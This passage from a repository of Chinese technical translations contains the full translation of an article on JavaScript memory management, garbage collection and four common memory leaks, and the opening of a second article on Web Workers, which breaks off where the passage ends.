    "content": "> * 原文地址：[How JavaScript works: memory management + how to handle 4 common memory leaks](https://blog.sessionstack.com/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks-3f28b94cfbec)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md)\n> * 译者：[曹小帅](https://github.com/caoxiaoshuai1)\n> * 校对者：[PCAaron](https://github.com/PCAaron) [Usey95](https://github.com/Usey95)\n\n# JavaScript 是如何工作的：内存管理 + 处理常见的 4 种内存泄漏\n\n几周前，我们开始了一系列旨在深入挖掘 JavaScript 及其工作原理的研究。我们的初衷是：通过了解 JavaScript 代码块的构建以及它们之间协调工作的原理，我们将能够编写更好的代码和应用程序。\n\n本系列的第一篇文章着重于提供[引擎概览, 运行时, 以及堆栈调用](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf)。第二篇文章仔细审查了 [Google 的 V8 JavaScript 引擎的内部区块](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e)并且提供了一些关于怎样编写更好 JavaScript 代码的建议。\n\n在第三篇文章中, 我们将讨论另外一个越来越被开发人员忽视的主题，原因是应用于日常基础内存管理的程序语言越来越成熟和复杂。我们也将会在 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-3-v8-intro) 提供一些关于如何处理 JavaScript 内存泄漏的建议，我们需要确认 SessionStack 不会导致内存泄漏，或者不会增加我们集成的 web 应用程序的消耗。\n\n#### 概览\n\n例如，像 C 这样的编程语言，有 `malloc()` 和 `free()` 这样的基础内存管理函数。开发人员可以使用这些函数来显式分配和释放操作系统的内存。\n\n与此同时，JavaScrip 在对象被创建时分配内存，并在对象不再使用时“自动”释放内存，这个过程被称为垃圾回收。这种看似“自动”释放资源的特性是导致混乱的来源，它给了 JavaScript（和其他高级语言）开发者们一种错觉，他们可以选择不去关心内存管理。**这是一种错误的观念**\n\n即使使用高级语言，开发者也应该对内存管理有一些理解（至少关于基本的内存管理）。有时，自动内存管理存在的问题（比如垃圾回收器的错误或内存限制等）要求开发者需要理解内存管理，才能处理的更合适（或找到代价最少的替代方案）。\n\n#### 内存生命周期\n\n无论你使用哪种程序语言，内存生命周期总是大致相同的：\n\n![](https://cdn-images-1.medium.com/max/800/1*slxXgq_TO38TgtoKpWa_jQ.png)\n\n以下是对循环中每一步具体情况的概述：\n\n*  **内存分配** — 内存由操作系统分配，它允许你的应用程序使用。在基础语言中 (比如 C 语言)，这是一个开发人员应该处理的显式操作。然而在高级系统中，语言已经帮你完成了这些工作。\n*  **内存使用** — 这是你的程序真正使用之前分配的内存的时候，**读写**操作在你使用代码中已分配的变量时发生。\n\n*  **内存释放** — 释放你明确不需要的内存，让其再次空闲和可用。和**内存分配**一样，在基础语言中这是显式操作。\n关于调用栈和内存堆的概念的快速概览，可以阅读我们的[关于主题的第一篇文章](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf)。\n\n#### 内存是什么?\n\n在直接跳到有关 JavaScript 中的内存部分之前，我们将简要地讨论一下内存的概况以及它是如何工作的：\n\n在硬件层面上，内存包含大量的[触发器](https://en.wikipedia.org/wiki/Flip-flop_%28electronics%29)。每一个触发器包含一些晶体管并能够存储一位。单独的触发器可通过**唯一标识符**寻址, 所以我们可以读取和覆盖它们。因此，从概念上讲，我们可以把整个计算机内存看作是我们可以读写的一个大的位组。\n\n作为人类，我们并不擅长在位操作中实现我们所有的思路和算法，我们把它们组装成更大的组，它可以用来表示数字。8 位称为 1 个字节。除字节外，还有单词（有时是 16，有时是 32 位）。\n\n很多东西存储在内存中:\n\n1. 所有程序使用的所有变量和其他数据。\n2. 程序的代码，包括操作系统的代码。\n\n编译器和操作系统一起为您处理了大部分的内存管理，但是我们建议您看看底层发生了什么。\n\n当你编译代码时，编译器可以检查原始数据类型，并提前计算它们需要多少内存。然后所需的数量被分配给**栈空间**中的程序。分配这些变量的空间称为栈空间，因为随着函数被调用，它们的内存被添加到现有的内存之上。当它们终止时，它们以 LIFO（后进先出）顺序被移除。 例如，请考虑以下声明：\n\n```\nint n; // 4 bytes\nint x[4]; // array of 4 elements, each 4 bytes\ndouble m; // 8 bytes\n```\n\n编译器可以立即计算到代码需要\n\n4 + 4 × 4 + 8 = 28 bytes\n\n> 这是它处理 integers 和 doubles 类型当前大小的方式。大约 20 年前，integers 通常是 2 个字节，doubles 通常是 4 个字节。您的代码不应该依赖于某一时刻基本数据类型的大小。\n\n编译器将插入与操作系统交互的代码，为堆栈中的变量请求存储所需的字节数。\n\n在上面的例子中，编译器知道每个变量的具体内存地址。 事实上，只要我们写入变量 `n`，它就会在内部被翻译成类似“内存地址 4127963”的内容。\n\n注意，如果我们试图在这里访问 `x[4]`，我们将访问与 m 关联的数据。这是因为我们正在访问数组中不存在的一个元素 - 它比数组中最后一个实际分配的元素 `x[3]` 深了 4 个字节，并且最终可能会读取（或覆盖）一些 `m` 的位。这对项目的其余部分有预料之外的影响。\n\n![](https://cdn-images-1.medium.com/max/800/1*5aBou4onl1B8xlgwoGTDOg.png)\n\n当函数调用其他函数时，每个其他函数调用时都会产生自己的栈块。栈块保留了它所有的局部变量和一个记录了执行地点程序计数器。当函数调用完成时，其内存块可再次用于其他方面。\n\n#### 动态分配\n\n遗憾的是，当我们不知道编译时变量需要多少内存时，事情变得不再简单。假设我们想要做如下的事情：\n\n```\nint n = readInput(); // reads input from the user\n...\n// create an array with \"n\" elements\n```\n\n这里，在编译时，编译器不知道数组需要多少内存，因为它是由用户提供的值决定的。\n\n因此，它不能为堆栈上的变量分配空间。相反，我们的程序需要在运行时明确地向操作系统请求正确的内存量。这个内存是从**堆空间**分配的。下表总结了静态和动态内存分配之间的区别：\n\n![](https://cdn-images-1.medium.com/max/800/1*qY-yRQWGI-DLS3zRHYHm9A.png)\n\n静态和动态内存分配的区别\n\n为了充分理解动态内存分配是如何工作的，我们需要在**指针**上花费更多的时间，这可能与本文的主题略有偏差。如果您有兴趣了解更多信息，请在评论中告诉我们，我们可以在以后的文章中详细介绍指针。\n\n#### JavaScript 中的内存分配\n\n现在我们将解释第一步（**分配内存**）是如何在JavaScript中工作的。\n\nJavaScript 减轻了开发人员处理内存分配的责任 - JavaScript自己执行了内存分配，同时声明了值。\n\n```\nvar n = 374; // allocates memory for a number\nvar s = 'sessionstack'; // allocates memory for a string \nvar o = {\n  a: 1,\n  b: null\n}; // allocates memory for an object and its contained values\nvar a = [1, null, 'str'];  // (like object) allocates memory for the\n                           // array and its contained values\nfunction f(a) {\n  return a + 3;\n} // allocates a function (which is a callable object)\n// function expressions also allocate an object\nsomeElement.addEventListener('click', function() {\n  someElement.style.backgroundColor = 'blue';\n}, false);\n```\n\n一些函数调用也会导致对象分配：\n\n```\nvar d = new Date(); // allocates a Date object\n\nvar e = document.createElement('div'); // allocates a DOM element\n```\n\n方法可以分配新的值或对象：\n\n```\nvar s1 = 'sessionstack';\nvar s2 = s1.substr(0, 3); // s2 is a new string\n// Since strings are immutable, \n// JavaScript may decide to not allocate memory, \n// but just store the [0, 3] range.\nvar a1 = ['str1', 'str2'];\nvar a2 = ['str3', 'str4'];\nvar a3 = a1.concat(a2); \n// new array with 4 elements being\n// the concatenation of a1 and a2 elements\n```\n\n#### 在 JavaScript 中使用内存\n\n基本上在 JavaScript 中使用分配的内存，意味着在其中读写。\n\n这可以通过读取或写入变量或对象属性的值，甚至传递一个变量给函数来完成。\n\n#### 在内存不再需要时释放内存\n\n绝大部分内存管理问题都处于这个阶段。\n\n这里最困难的任务是确定何时不再需要这些分配了的内存。它通常需要开发人员确定程序中的哪个部分不再需要这些内存，并将其释放。\n\n高级语言嵌入了一个称为**垃圾回收器**的软件，其工作是跟踪内存分配和使用情况，以便找到何时何种情况下不再需要这些分配了的内存，它将自动释放内存。\n\n不幸的是，这个过程是一个近似值，因为预估是否需要某些内存的问题通常是[不可判定的](http://en.wikipedia.org/wiki/Decidability_%28logic%29)（无法通过算法解决）。\n\n大多数垃圾回收器通过收集不能再访问的内存来工作，例如，所有指向它的变量都超出了作用域。然而，这是可以收集的一组内存空间的近似值，因为在某种情况下内存位置可能仍然有一个指向它的变量，但它将不会被再次访问。\n\n#### 垃圾回收机制\n\n由于发现一些内存是否“不再需要”事实上是不可判定的，所以垃圾收集在实施一般问题解决方案时具有局限性。本节将解释主要垃圾收集算法及其局限性的基本概念。\n\n#### 内存引用\n\n垃圾收集算法所依赖的主要概念来源于**附录参考资料**。\n\n在内存管理的上下文中，如果一个对象可以访问另一个对象（可以是隐式的或显式的），则称该对象引用另一个对象。例如, 一个 JavaScript 引用了它的 [prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain) (**隐式引用**)和它的属性值(**显式引用**)。\n\n在这种情况下，“对象”的概念扩展到比普通JavaScript对象更广泛的范围，并包含函数作用域（或全局**词法范围**）。\n\n> 词法作用域定义了变量名如何在嵌套函数中解析：即使父函数已经返回，内部函数仍包含父函数的作用域。\n\n#### 引用计数垃圾收集\n\n这是最简单的垃圾收集算法。 如果有**零个指向它**的引用，则该对象被认为是“可垃圾回收的”。\n\n请看下面的代码:\n\n```\nvar o1 = {\n  o2: {\n    x: 1\n  }\n};\n// 2 objects are created. \n// 'o2' is referenced by 'o1' object as one of its properties.\n// None can be garbage-collected\n\nvar o3 = o1; // the 'o3' variable is the second thing that \n            // has a reference to the object pointed by 'o1'. \n                                                       \no1 = 1;      // now, the object that was originally in 'o1' has a         \n            // single reference, embodied by the 'o3' variable\n\nvar o4 = o3.o2; // reference to 'o2' property of the object.\n                // This object has now 2 references: one as\n                // a property. \n                // The other as the 'o4' variable\n\no3 = '374'; // The object that was originally in 'o1' has now zero\n            // references to it. \n            // It can be garbage-collected.\n            // However, what was its 'o2' property is still\n            // referenced by the 'o4' variable, so it cannot be\n            // freed.\n\no4 = null; // what was the 'o2' property of the object originally in\n           // 'o1' has zero references to it. \n           // It can be garbage collected.\n```\n\n#### 周期产生问题\n\n在周期循环中有一个限制。在下面的例子中，两个对象被创建并相互引用，这就创建了一个循环。在函数调用之后，它们会超出界限，所以它们实际上是无用的，并且可以被释放。然而，引用计数算法认为，由于两个对象中的每一个都被至少引用了一次，所以两者都不能被垃圾收集。\n\n```\nfunction f() {\n  var o1 = {};\n  var o2 = {};\n  o1.p = o2; // o1 references o2\n  o2.p = o1; // o2 references o1. This creates a cycle.\n}\n\nf();\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*GF3p99CQPZkX3UkgyVKSHw.png)\n\n#### 标记和扫描算法\n\n为了确定是否需要某个对象，本算法判断该对象是否可访问。\n\n标记和扫描算法经过这 3 个步骤：\n\n1.根节点：一般来说，根是代码中引用的全局变量。例如，在 JavaScript 中，可以充当根节点的全局变量是“window”对象。Node.js 中的全局对象被称为“global”。完整的根节点列表由垃圾收集器构建。\n2.然后算法检查所有根节点和他们的子节点并且把他们标记为活跃的（意思是他们不是垃圾）。任何根节点不能访问的变量将被标记为垃圾。\n3.最后，垃圾收集器释放所有未被标记为活跃的内存块，并将这些内存返回给操作系统。\n\n![](https://cdn-images-1.medium.com/max/800/1*WVtok3BV0NgU95mpxk9CNg.gif)\n\n标记和扫描算法行为的可视化。\n\n因为“一个对象有零引用”导致该对象不可达，所以这个算法比前一个算法更好。我们在周期中看到的情形恰巧相反，是不正确的。\n\n截至 2012 年，所有现代浏览器都内置了标记扫描式的垃圾回收器。去年在 JavaScript 垃圾收集（通用/增量/并发/并行垃圾收集）领域中所做的所有改进都是基于这种算法（标记和扫描）的实现改进，但这不是对垃圾收集算法本身的改进，也不是对判断一个对象是否可达这个目标的改进。\n\n[在本文中](https://en.wikipedia.org/wiki/Tracing_garbage_collection), 您可以阅读有关垃圾回收跟踪的更详细的信息，文章也包括标记和扫描算法以及其优化。\n\n#### 周期不再是问题\n\n在上面的第一个例子中，函数调用返回后，两个对象不再被全局对象中的某个变量引用。因此，垃圾收集器会认为它们不可访问。\n\n![](https://cdn-images-1.medium.com/max/800/1*FbbOG9mcqWZtNajjDO6SaA.png)\n\n即使两个对象之间有引用，从根节点它们也不再可达。\n\n#### 统计垃圾收集器的直观行为\n\n尽管垃圾收集器很方便，但他们也有自己的一套权衡策略。其中之一是不确定性。换句话说，GCs（垃圾收集器）们是不可预测的。你不能确定一个垃圾收集器何时会执行收集。这意味着在某些情况下，程序其实需要使用更多的内存。其他情况下，在特别敏感的应用程序中，短暂暂停可能是显而易见的。尽管不确定性意味着不能确定一个垃圾收集器何时执行收集，大多数 GC 共享分配中的垃圾收集通用模式。如果没有执行分配，大多数 GC 保持空闲状态。考虑如下场景：\n\n1. 大量的分配被执行。\n2. 大多数这些元素（或全部）被标记为不可访问（假设我们废除一个指向我们不再需要的缓存的引用）。\n3. 没有执行更深的内存分配。\n\n在这种情况下，大多数 GC 不会运行任何更深层次的收集。换句话说，即使存在不可用的引用可用于收集，收集器也不会声明这些引用。这些并不是严格的泄漏，但仍会导致高于日常的内存使用率。\n\n#### 什么是内存泄漏?\n\n就像内存描述的那样，内存泄漏是应用程序过去使用但不再需要的尚未返回到操作系统或可用内存池的内存片段。\n\n![](https://cdn-images-1.medium.com/max/800/1*0B-dAUOH7NrcCDP6GhKHQw.jpeg)\n\n编程语言偏好不同的内存管理方式。但是，某段内存是否被使用实际上是一个[不可判定问题](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management#Release_when_the_memory_is_not_needed_anymore)。换句话说，只有开发人员可以明确某块内存是否可以返回给操作系统。\n\n某些编程语言提供了帮助开发人员执行上述操作的功能。其他人则希望开发人员能够完全明确某段内存何时处于未使用状态。维基百科在如何[手工](https://en.wikipedia.org/wiki/Manual_memory_management)和[自动](https://en.wikipedia.org/wiki/Garbage_collection_%28computer_science%29)内存管理方面有很好的文章。\n\n#### JavaScript 常见的四种内存泄漏\n\n#### 1：全局变量\n\nJavaScript 用一种有趣的方式处理未声明的变量：当引用一个未声明的变量时，在 _global_ 对象中创建一个新变量。在浏览器中，全局对象将是 `window`，这意味着\n\n```\nfunction foo(arg) {\n    bar = \"some text\";\n}\n```\n\n等同于:\n\n```\nfunction foo(arg) {\n    window.bar = \"some text\";\n}\n```\n\n我们假设 `bar` 的目的只是引用 foo 函数中的一个变量。然而，如果你不使用 `var` 来声明它，就会创建一个冗余的全局变量。在上面的情况中，这不会造成很严重的后果。你可以想象一个更具破坏性的场景。\n\n你也可以用 `this` 意外地创建一个全局变量：\n\n```\nfunction foo() {\n    this.var1 = \"potential accidental global\";\n}\n// Foo called on its own, this points to the global object (window)\n// rather than being undefined.\nfoo();\n```\n\n> 你可以通过在 JavaScript 文件的开头添加 `'use strict';` 来避免这些后果，这将开启一种更严格的 JavaScript 解析模式，从而防止意外创建全局变量。\n\n意外的全局变量当然是个问题，然而更常出现的情况是，你的代码会受到显式的全局变量的影响，而这些全局变量无法通过垃圾收集器收集。需要特别注意用于临时存储和处理大量信息的全局变量。如果你必须使用全局变量来存储数据，当你这样做的时候，要保证一旦完成使用就把他们**赋值为 null 或重新赋值** 。\n\n#### 2：被忘记的定时器或者回调函数\n\n我们以经常在 JavaScript 中使用的 `setInterval` 为例。\n\n提供观察者和其他接受回调的工具库通常确保所有对回调的引用在其实例无法访问时也变得无法访问。然而，下面的代码并不鲜见：\n\n```\nvar serverData = loadData();\nsetInterval(function() {\n    var renderer = document.getElementById('renderer');\n    if(renderer) {\n        renderer.innerHTML = JSON.stringify(serverData);\n    }\n}, 5000); //This will be executed every ~5 seconds.\n```\n\n上面的代码片段显示了使用定时器引用节点或无用数据的后果。\n\n`renderer` 对象可能会在某些时候被替换或删除，这会使得间隔处理程序封装的块变得冗余。如果发生这种情况，处理程序及其依赖项都不会被收集，因为间隔处理需要先备停止（请记住，它仍然是活动的）。这一切都归结为一个事实，即事实存储和处理负载数据的 `serverData` 也不会被收集。\n\n当使用观察者时，你需要确保一旦依赖于它们的事务已经处理完成，你编写了明确的调用来删除它们（不再需要观察者，或者对象将变得不可用时）。\n\n幸运的是，大多数现代浏览器都会为你做这件事：即使你忘记删除监听器，当观察对象变得无法访问时，它们也会自动收集观察者处理程序。过去一些浏览器无法处理这些情况（旧的 IE6）。\n\n但是，尽管如此，一旦对象变得过时，移除观察者才是符合最佳实践的。看下面的例子：\n\n```\nvar element = document.getElementById('launch-button');\nvar counter = 0;\nfunction onClick(event) {\n   counter++;\n   element.innerHtml = 'text ' + counter;\n}\nelement.addEventListener('click', onClick);\n// Do stuff\nelement.removeEventListener('click', onClick);\nelement.parentNode.removeChild(element);\n// Now when element goes out of scope,\n// both element and onClick will be collected even in old browsers // that don't handle cycles well.\n```\n\n现在的浏览器支持检测这些循环并适当地处理它们的垃圾收集器，因此在制造一个无法访问的节点之前，你不再需要调用 `removeEventListener`。\n\n如果您利用 `jQuery` API（其他库和框架也支持这个），您也可以在节点废弃之前删除监听器。即使应用程序在较旧的浏览器版本下运行，这些库也会确保没有内存泄漏。\n\n3：闭包\n\nJavaScript开发的一个关键方面是闭包：一个内部函数可以访问外部（封闭）函数的变量。由于JavaScript运行时的实现细节，可能以如下方式泄漏内存：\n\n```\nvar theThing = null;\nvar replaceThing = function () {\n  var originalThing = theThing;\n  var unused = function () {\n    if (originalThing) // a reference to 'originalThing'\n      console.log(\"hi\");\n  };\n  theThing = {\n    longStr: new Array(1000000).join('*'),\n    someMethod: function () {\n      console.log(\"message\");\n    }\n  };\n};\nsetInterval(replaceThing, 1000);\n```\n\n一旦调用了 `replaceThing` 函数，`theThing` 就得到一个新的对象，它由一个大数组和一个新的闭包（`someMethod`）组成。然而 `originalThing` 被一个由 `unused` 变量（这是从前一次调用 `replaceThing` 变量的 `Thing` 变量）所持有的闭包所引用。需要记住的是**一旦为同一个父作用域内的闭包创建作用域，作用域将被共享。**\n\n在个例子中，`someMethod` 创建的作用域与 `unused` 共享。`unused` 包含一个关于 `originalThing` 的引用。即使 `unused` 从未被引用过，`someMethod` 也可以通过 `replaceThing` 作用域之外的 `theThing` 来使用它（例如全局的某个地方）。由于 `someMethod` 与 `unused` 共享闭包范围，`unused` 指向 `originalThing` 的引用强制它保持活动状态（两个闭包之间的整个共享范围）。这阻止了它们的垃圾收集。\n\n在上面的例子中，为闭包 `someMethod` 创建的作用域与 `unused` 共享，而 `unused` 又引用 `originalThing`。`someMethod` 可以通过 `replaceThing` 范围之外的 `theThing` 来引用，尽管 `unused` 从来没有被引用过。事实上，unused 对 `originalThing` 的引用要求它保持活跃，因为 `someMethod` 与 unused 的共享封闭范围。\n\n所有这些都可能导致大量的内存泄漏。当上面的代码片段一遍又一遍地运行时，您可以预期到内存使用率的上升。当垃圾收集器运行时，其大小不会缩小。一个闭包链被创建（在例子中它的根就是 `theThing` 变量），并且每个闭包作用域都包含对大数组的间接引用。\n\nMeteor 团队发现了这个问题，[它们有一篇很棒的文章](https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156)详细地描述了这个问题。\n\n#### 4：超出 DOM 的引用\n\n有些情况下开发人员在数据结构中存储 DOM 节点。假设你想快速更新表格中几行的内容。如果在字典或数组中存储对每个 DOM 行的引用，就会产生两个对同一个 DOM 元素的引用：一个在 DOM 树中，另一个在字典中。如果你决定删除这些行，你需要记住让两个引用都无法访问。\n\n```\nvar elements = {\n    button: document.getElementById('button'),\n    image: document.getElementById('image')\n};\nfunction doStuff() {\n    elements.image.src = 'http://example.com/image_name.png';\n}\nfunction removeImage() {\n    // The image is a direct child of the body element.\n    document.body.removeChild(document.getElementById('image'));\n    // At this point, we still have a reference to #button in the\n    //global elements object. In other words, the button element is\n    //still in memory and cannot be collected by the GC.\n}\n```\n\n在涉及 DOM 树内的内部节点或叶节点时，还有一个额外的因素需要考虑。如果你在代码中保留对表格单元格（`td` 标记）的引用，并决定从 DOM 中删除该表格但保留对该特定单元格的引用，则可以预见到严重的内存泄漏。你可能会认为垃圾收集器会释放除了那个单元格之外的所有东西。但情况并非如此。由于单元格是表格的子节点，并且子节点保持对父节点的引用，所以**对表格单元格的这种单引用会把整个表格保存在内存中**。\n\n我们在 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-3-v8-outro) 尝试遵循这些最佳实践，编写正确处理内存分配的代码，原因如下：\n\n一旦将 SessionStack 集成到你的生产环境的 Web 应用程序中，它就会开始记录所有的事情：所有的 DOM 更改，用户交互，JavaScript 异常，堆栈跟踪，失败网络请求，调试消息等。\n\n通过 SessionStack，你可以像视频一样回放 web 应用程序中的问题，并查看所有的用户行为。所有这些都必须在您的网络应用程序没有性能影响的情况下进行。\n\n由于用户可以重新加载页面或导航你的应用程序，所有的观察者，拦截器，变量分配等都必须正确处理，这样它们才不会导致任何内存泄漏，也不会增加我们正在整合的Web应用程序的内存消耗。\n\n这里有一个免费的计划所以你可以[试试看](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-3-v8-getStarted).\n\n![](https://cdn-images-1.medium.com/max/800/1*kEQmoMuNBDfZKNSBh0tvRA.png)\n\n#### Resources\n\n* [http://www-bcf.usc.edu/~dkempe/CS104/08-29.pdf](http://www-bcf.usc.edu/~dkempe/CS104/08-29.pdf)\n* [https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156](https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156)\n* [http://www.nodesimplified.com/2017/08/javascript-memory-management-and.html](http://www.nodesimplified.com/2017/08/javascript-memory-management-and.html)\n* [https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/](https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md",
    "content": "> * 原文地址：[How JavaScript works: The building blocks of Web Workers + 5 cases when you should use them](https://blog.sessionstack.com/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them-a547c0757f6a)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md)\n> * 译者：[刘嘉一](https://github.com/lcx-seima)\n> * 校对者：[缪宇](https://github.com/goldEli)，[MechanicianW](https://github.com/MechanicianW)\n\n# JavaScript 工作原理：Web Worker 的内部构造以及 5 种你应当使用它的场景\n\n![](https://cdn-images-1.medium.com/max/800/0*b5WMJNTRt9QqN-Zy.jpg)\n\n这是探索 JavaScript 及其内建组件系列文章的第 7 篇。在认识和描述这些核心元素的过程中，我们也会分享我们在构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-intro) 时所遵循的一些经验规则。SessionStack 是一个轻量级 JavaScript 应用，它协助用户实时查看和复现他们的 Web 应用缺陷，因此其自身不仅需要足够健壮还要有不俗的性能表现。\n\n如果你错过了前面的文章，你可以在下面找到它们：\n\n* [对引擎、运行时和调用栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n* [深入 V8 引擎以及 5 个写出更优代码的技巧](https://juejin.im/post/5a102e656fb9a044fd1158c6)\n* [内存管理以及四种常见的内存泄漏的解决方法](https://juejin.im/post/59ca19ca6fb9a00a42477f55)\n* [事件循环和异步编程的崛起以及 5 个如何更好的使用 async/await 编码的技巧](https://juejin.im/post/5a221d35f265da43356291cc)\n* [JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2，以及如何在二者中做出正确的选择](https://juejin.im/post/5a522647518825732d7f6cbb)\n* [JavaScript 工作原理：与 WebAssembly 一较高下 + 为何 WebAssembly 在某些情况下比 JavaScript 更为适用](https://blog.sessionstack.com/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it-d80945172d79)\n\n这一次我们将剖析 Web Worker：对它进行简单概述后，我们将分别讨论不同类型的 Worker 以及它们内部组件的运作方法，同时也会以场景为例说明它们各自的优缺点。在文章的最后，我们将讲解最适合使用 Web Worker 的 5 个场景。\n\n我们在 [之前的文章](https://juejin.im/post/5a522647518825732d7f6cbb) 中已经详尽地讨论了 JavaScript 的单线程运行机制，对此你应当已经了然于胸。然而，JavaScript 是允许开发者在单线程模型上书写异步代码的。\n\n#### 异步编程的 “天花板”\n\n我们已经讨论过了 [异步编程](https://blog.sessionstack.com/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with-2f077c4438b5?source=---------2----------------) 的概念及其使用场景。\n\n[异步编程](https://www.scaler.com/topics/javascript/asynchronous-javascript/) 通过把部分代码 “放置” 到事件循环较后的时间点执行，保证了 UI 渲染始终处于较高的优先级，这样你的 UI 就不会出现卡顿无响应的情况。\n\nAJAX 请求是异步编程的最佳实践之一。通常网络请求不会在短时间内得到响应，因此异步的网络请求能让客户端在等待响应结果的同时执行其他业务代码。\n\n```\n// 假设你使用了 jQuery\njQuery.ajax({\n    url: 'https://api.example.com/endpoint',\n    success: function(response) {\n        // 正确响应后需要执行的代码\n    }\n});\n```\n\n当然这里有个问题，上例能够进行异步请求是依靠了浏览器提供的 API，其他代码又该如何实现异步执行呢？例如，在上例 success 回调函数中存在 CPU 密集型计算：\n\n```\n\nvar result = performCPUIntensiveCalculation();\n```\n\n假如 `performCPUIntensiveCalculation` 不是一个 HTTP 请求，而是一段可以阻塞线程的代码（例：一段巨型 `for` 循环代码）。这样会使 event loop 不堪重负，浏览器 UI 也随之阻塞 —— 用户将面对卡顿无响应的网页。\n\n这就说明了使用异步函数只能解决 JavaScript 单线程模型带来的一小部分问题。\n\n在一些因大量计算引起的 UI 阻塞问题中，使用 `setTimeout` 来解决阻塞的效果还不错。例如，我们可以把一系列的复杂计算分批放到单独的 `setTimeout` 中执行，这样做等于是把连续的计算分散到了 event loop 中的不同位置，以此为 UI 的渲染和事件响应让出了时间。\n\n让我们来看一个简单的计算数组均值的函数：\n\n```\n\nfunction average(numbers) {\n    var len = numbers.length,\n        sum = 0,\n        i;\n\n    if (len === 0) {\n        return 0;\n    } \n    \n    for (i = 0; i < len; i++) {\n        sum += numbers[i];\n    }\n   \n    return sum / len;\n}\n```\n\n下面是对上方代码的一个重写，使其获得了异步性：\n\n```\nfunction averageAsync(numbers, callback) {\n    var len = numbers.length,\n        sum = 0;\n\n    if (len === 0) {\n        return 0;\n    } \n\n    function calculateSumAsync(i) {\n        if (i < len) {\n            // 把下一次函数调用放入 event loop\n            setTimeout(function() {\n                sum += numbers[i];\n                calculateSumAsync(i + 1);\n            }, 0);\n        } else {\n            // 计算完数组中所有元素后，调用回调函数返回结果\n            callback(sum / len);\n        }\n    }\n\n    calculateSumAsync(0);\n}\n```\n\n通过使用 `setTimeout` 可以把每一步计算都放置到 event loop 较后的时间点执行。在每两次的计算间隔，event loop 便会有足够的时间执行其他计算，从而保证浏览器不会一 ”冻“ 不动。\n\n#### 拯救你于水火之中的 Web Worker\n\n[HTML5](https://www.w3schools.com/html/html5_intro.asp) 已经提供了不少开箱即用的好东西，包括：\n\n* SSE （在 [上一篇文章](https://blog.sessionstack.com/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path-584e6b8e3bf7) 中已经谈过它的特性并与 WebSocket 进行了对比)\n* 地理信息\n* 应用缓存\n* LocalStorage\n* 拖放手势\n* **Web Worker**\n\nWeb Worker 是内建在浏览器中的轻量级 **线程**，使用它执行 JavaScript 代码不会阻塞 event loop。\n\n非常神奇吧，本来 JavaScript 中的所有范例都是基于单线程模型实现的，但这里的 Web Worker 却（在一定程度上）突破了这一限制。\n\n从此开发者可以远离 UI 阻塞的困扰，通过把一些执行时间长、计算密集型的任务放到后台交由 Web Worker 完成，使他们的应用响应变得更加迅速。更重要的是，我们再也不需要对 event loop 施加任何的 `setTimeout` 黑魔法。\n\n这里有一个简单的数组排序 [demo](http://afshinm.github.io/50k/) ，其中对比了使用 Web Worker 和不使用 Web Worker 时的区别。\n\n#### **Web Worker 概览**\n\nWeb Worker 允许你在执行大量计算密集型任务时，还不阻塞 UI 进程。事实上，二者互不阻塞的原因就是它们是并行执行的，可以看出 Web Worker 是货真价实的多线程。\n\n你可能想说 — ”JavaScript 不是一个在单线程上执行的语言吗？“。\n\n你可能会惊讶 JavaScript 作为一门编程语言，却没有定义任何的线程模型。因此 